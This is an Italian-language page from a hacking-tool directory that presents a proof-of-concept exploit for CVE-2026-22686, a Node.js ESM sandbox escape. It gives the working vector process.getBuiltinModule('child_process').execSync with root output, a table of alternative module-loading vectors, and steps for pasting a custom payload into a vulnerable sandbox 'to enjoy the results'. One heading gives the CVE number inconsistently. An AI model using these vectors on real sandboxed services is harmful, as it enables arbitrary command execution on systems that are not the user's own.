Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-22686-RemoteCodeExecution-RCE-PoC — Proof-of-concept exploit per CVE-2026-22686, che dimostra l'esecuzione remota di codice nelle sandbox ESM di Node.js tramite process.getBuiltinModule per bypassare le restrizioni sui moduli. | Kitploit
Strumenti/GitHubGitHub/moltengama/cve-2026-22686-remotecodeexecution-rce-poc
Analisi delle VulnerabilitàAnalisi del CodiceExploitSfruttamento di Applicazioni WebSviluppo Payload
GitHubmoltengama/cve-2026-22686-remotecodeexecution-rce-poc

CVE-2026-22686-RemoteCodeExecution-RCE-PoC

Proof-of-concept exploit per CVE-2026-22686, che dimostra l'esecuzione remota di codice nelle sandbox ESM di Node.js tramite process.getBuiltinModule per bypassare le restrizioni sui moduli.

Vedi Repository
25 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

RCE in Ambienti ESM — Il Problema di require

Quando si ottiene l'escape dalla sandbox tramite CVE-2026-22686, eseguire comandi del sistema operativo in un progetto ESM ("type": "module") richiede di bypassare le restrizioni di caricamento dei moduli di Node.js. Gli approcci standard falliscono per i seguenti motivi:

VettoreRisultato
require('child_process')❌ require is not defined — non disponibile in ESM
process.mainModule.require(...)❌ Cannot read properties of undefined — mainModule è undefined in ESM
import('child_process')❌ A dynamic import callback was not specified — richiede un hook non configurato nella sandbox
process.binding('spawn_sync')⚠️ Disponibile ma troppo di basso livello — richiede la costruzione manuale di syscall

Soluzione: Enumerazione dei Processi → process.getBuiltinModule

Invece di assumere un metodo di caricamento dei moduli, enumeriamo direttamente le chiavi di process dal contesto host (già accessibile dopo l'escape dalla sandbox):

root@kitploit:~
return Object.keys(process)

Tra le chiavi restituite, è stato identificato getBuiltinModule — un'API nativa di Node.js 22+ progettata specificamente per consentire ai moduli ESM di accedere ai moduli integrati di Node.js senza require o import().

root@kitploit:~
process.getBuiltinModule('child_process').execSync('id').toString()
// → uid=0(root) gid=0(root) groups=0(root)  ✅ RCE confermata

Questo è il punto chiave: process.getBuiltinModule è un'API relativamente nuova (Node.js >= 22.3.0) e viene spesso trascurata dalle implementazioni delle sandbox e dalle regole WAF che bloccano require e import.


Vettori Alternativi (per versione di Node.js)

A seconda dell'ambiente di destinazione, altri vettori potrebbero essere disponibili dopo l'enumerazione di process:

VettoreVersione di Node.jsNote
process.getBuiltinModule('child_process')>= 22.3.0✅ Il più pulito — API ufficiale sicura per ESM
process.binding('spawn_sync')Tutte⚠️ Di basso livello, richiede la costruzione manuale dei buffer
process.mainModule.require(...)Solo CJS❌ Undefined in ESM
__non_webpack_require__Bundle Webpack⚠️ Specifico dell'ambiente
Module.createRequire(import.meta.url)>= 12.2.0⚠️ Richiede il riferimento a Module dall'host
process._linkedBinding('node_os')Build interne⚠️ Raramente esposto

Conclusione: Enumera sempre Object.keys(process) dopo aver ottenuto l'accesso al contesto host. La superficie di attacco disponibile varia significativamente in base alla versione di Node.js e alla configurazione del progetto. getBuiltinModule è il vettore più affidabile negli ambienti ESM moderni di Node.js.

CVE-2026-2268-RemoteCodeExecution-RCE-PoC

Passaggi:

  1. Inserisci il tuo comando personale
  2. Incolla il payload risultante generato nel tuo interprete sandbox js vulnerabile
  3. Goditi i risultati
image
Scarica lo strumento